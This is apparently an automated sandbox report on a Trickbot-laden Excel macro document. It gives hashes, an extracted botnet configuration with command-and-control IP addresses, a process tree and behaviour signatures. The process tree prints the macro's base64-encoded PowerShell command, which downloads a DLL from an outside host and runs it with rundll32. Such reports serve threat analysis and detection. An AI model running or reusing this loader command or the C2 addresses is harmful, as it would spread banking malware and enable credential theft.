Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21-10-2021 15:12

General

  • Target

    RNP-00129.xlsm

  • Size

    87KB

  • MD5

    21f5a279cdb8389e79a711ae43a9215a

  • SHA1

    74516a2bedf8b8aa4551cedba8a62e68209c0068

  • SHA256

    45b7ef5a55cbcddb1f21415450ee982ebdafac1cf3a57e62acb8d014bc797dfc

  • SHA512

    59af799f48b406da33005e71941341e4873ee5de0c5aa76eeb1a2465d11a9b8f4ec61209c3dbffe25078bc73b61552c82bbae9c5e3e20789ba227d7783776cde

Malware Config

Extracted

Family

trickbot

Version

100019

Botnet

rob136

C2

65.152.201.203:443

185.56.175.122:443

46.99.175.217:443

179.189.229.254:443

46.99.175.149:443

181.129.167.82:443

216.166.148.187:443

46.99.188.223:443

128.201.76.252:443

62.99.79.77:443

60.51.47.65:443

24.162.214.166:443

45.36.99.184:443

97.83.40.67:443

184.74.99.214:443

103.105.254.17:443

62.99.76.213:443

82.159.149.52:443

Attributes
  • autorun
    Name:pwgrabb
    Name:pwgrabc
ecc_pubkey.base64

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Trickbot

    Developed in 2016, TrickBot is one of the more recent banking Trojans.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00129.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3132
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3156
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3188
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1592
        • C:\Windows\SysWOW64\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:612
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe
            5⤵
              PID:1292
            • C:\Windows\system32\wermgr.exe
              C:\Windows\system32\wermgr.exe
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2280

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\clb.dll
      MD5

      e93c7c22c990d68ea30b5c35ada06826

      SHA1

      6044cfc7590b3e11ec8f1c86a88132e63ecd21a2

      SHA256

      bc548ba4989edc866788f7c88c2682819445565f50bb3830a04b786ee365e528

      SHA512

      a28f0cd14a755e1bc4e025dd13b11840e2117e9593657c3f9b9ff37fb3ee69f2101c8693185afb0c191fe00f7d35d06844177ede4dec36a6d513ccd0eddb7399

    • \ProgramData\clb.dll
      MD5

      e93c7c22c990d68ea30b5c35ada06826

      SHA1

      6044cfc7590b3e11ec8f1c86a88132e63ecd21a2

      SHA256

      bc548ba4989edc866788f7c88c2682819445565f50bb3830a04b786ee365e528

      SHA512

      a28f0cd14a755e1bc4e025dd13b11840e2117e9593657c3f9b9ff37fb3ee69f2101c8693185afb0c191fe00f7d35d06844177ede4dec36a6d513ccd0eddb7399

    • memory/612-309-0x0000000010001000-0x0000000010003000-memory.dmp
      Filesize

      8KB

    • memory/612-308-0x0000000000AB0000-0x0000000000AB1000-memory.dmp
      Filesize

      4KB

    • memory/612-306-0x00000000046E0000-0x0000000004948000-memory.dmp
      Filesize

      2.4MB

    • memory/612-307-0x0000000000AD0000-0x0000000000C1A000-memory.dmp
      Filesize

      1.3MB

    • memory/612-304-0x0000000000000000-mapping.dmp
    • memory/1592-302-0x0000000000000000-mapping.dmp
    • memory/2280-311-0x00000176FED80000-0x00000176FEDA9000-memory.dmp
      Filesize

      164KB

    • memory/2280-312-0x00000176FEF90000-0x00000176FEF91000-memory.dmp
      Filesize

      4KB

    • memory/2280-310-0x0000000000000000-mapping.dmp
    • memory/3132-122-0x0000021DB81B0000-0x0000021DB81B2000-memory.dmp
      Filesize

      8KB

    • memory/3132-123-0x0000021DB81B0000-0x0000021DB81B2000-memory.dmp
      Filesize

      8KB

    • memory/3132-116-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmp
      Filesize

      64KB

    • memory/3132-121-0x0000021DB81B0000-0x0000021DB81B2000-memory.dmp
      Filesize

      8KB

    • memory/3132-120-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmp
      Filesize

      64KB

    • memory/3132-119-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmp
      Filesize

      64KB

    • memory/3132-118-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmp
      Filesize

      64KB

    • memory/3132-117-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmp
      Filesize

      64KB

    • memory/3156-272-0x0000000000000000-mapping.dmp
    • memory/3188-292-0x000001F423656000-0x000001F423658000-memory.dmp
      Filesize

      8KB

    • memory/3188-290-0x000001F423650000-0x000001F423652000-memory.dmp
      Filesize

      8KB

    • memory/3188-291-0x000001F423653000-0x000001F423655000-memory.dmp
      Filesize

      8KB

    • memory/3188-273-0x0000000000000000-mapping.dmp